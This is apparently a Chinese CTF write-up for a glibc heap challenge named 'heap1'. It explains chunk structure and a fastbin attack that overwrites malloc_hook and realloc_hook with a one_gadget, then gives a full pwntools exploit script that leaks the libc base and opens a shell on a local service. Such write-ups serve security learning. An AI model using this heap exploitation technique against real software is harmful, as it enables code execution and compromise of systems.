https://blog.csdn.net/qq_43332010/article/details/120402102
相关定义
攻击原理及方法
gdb 调试理解
https://blog.csdn.net/xy_369/article/details/130788093
https://blingblingxuanxuan.github.io/2020/02/23/paper/#fastbin-attack
https://ywhkkx.github.io/2021/12/12 / 堆溢出 + malloc_hook 劫持 /
https://blog.csdn.net/Breeze_CAT/article/details/103789081
# 前置
# chunk
每次 malloc 或者 calloc 时会新建一个 chunk
struct malloc_chunk { | |
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ | |
INTERNAL_SIZE_T mchunk_size; /* 当前 chunk 的大小 Size in bytes, including overhead. */ | |
struct malloc_chunk* fd; /* double links -- used only if free. */ | |
struct malloc_chunk* bk; | |
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ | |
struct malloc_chunk* bk_nextsize; | |
} |
每次 free 时 chhunk 不会直接消失而是根据大小分进不同的 bins
# heap1
- 每次 malloc 调用前会检查 malloc_hook 是否为 0, 一般默认为 0,不为 0 则调用 malloc_hook
- realloc 是一堆关于寄存器的函数,每次调用前会检查 realloc_hook 是否为 0,一般默认为 0,不为 0 则调用 realloc_hook
本来想法是 main_arena-0x10 处是 malloc_hook,接收 main_arena 后就可以泄露出 malloc_hook 和 libc_base,就可以劫持 malloc_hook 了,接下来使 malloc_hook 成为 fake_chunk 后往里填 one_gadget 即可,但是满足条件是 rsp+0x30...==null, 发现每一个都不能用
所以我们可以将 realloc_hook 改为 onegadget,然后通过这些 push 和 sub 操作 "微调"rsp 寄存器,使其能够满足在调用 realloc_hook(也就是 onegadget)的时候满足相应的 rsp 条件。相应的利用方法就是由传统的直接修改 malloc_hook 变为先修改 realloc_hook 为 onegadget 之后,修改 malloc_hook 到特定的一个 push 处或 sub 处,然后调用 malloc 便相当于执行了满足条件的 onegadget。
# wp
from pwn import * | |
from LibcSearcher import * | |
context(log_level = 'debug', os = 'linux', arch = 'amd64') | |
#p=process('./heap1') | |
p =remote('127.0.0.1', 45967) | |
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') | |
def add(size): | |
p.sendlineafter(':','1') | |
p.sendlineafter(':',str(size)) | |
def move(index): | |
p.sendlineafter(':','2') | |
p.sendlineafter(':',str(index)) | |
def show(index): | |
p.sendlineafter(':','3') | |
p.sendlineafter(':',str(index)) | |
def edit(index,content): | |
p.sendlineafter(':','4') | |
p.sendlineafter(':',str(index)) | |
p.sendlineafter(':',content) | |
add(0x110)#0 | |
add(0x60)#1 | |
add(0x60)#2 | |
move(0) | |
show(0) | |
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -88 | |
malloc_hook=main_arena-0x10 | |
log.success('main_arena==> '+hex(main_arena)) | |
log.success( 'malloc_hook==> '+hex(malloc_hook)) | |
#libc=LibcSearcher('__malloc_hook', malloc_hook) | |
#libc_base=malloc_hook-libc.dump('__malloc_hook') | |
realloc_hook=malloc_hook-8 | |
libc_base=malloc_hook-libc.symbols['__malloc_hook'] | |
realloc=libc_base+libc.symbols['realloc'] | |
log.success( 'libc_realloc==> '+hex(realloc)) | |
log.success( 'realloc_hook==> '+hex(realloc_hook)) | |
log.success('libc_ base==>' +hex(libc_base)) | |
one_gadget = libc_base +0x4527a | |
# 0x45226 0x4527a 0xf03a4 0xf1247 | |
log.success('one_ gadget==>' +hex(one_gadget)) | |
add(0x60) | |
add(0x60) | |
move(3) | |
move(4) | |
add(0x10) | |
move(5) | |
edit(5,b'a'*8) | |
edit(3,p64(malloc_hook-0x23)) | |
add(0x60) | |
add(0x60) | |
add(0x60) | |
payload=b'a'*11+p64(one_gadget)+p64(realloc+0xd)#02468bcd | |
edit(8,payload) | |
add(0x10) | |
p.interactive() |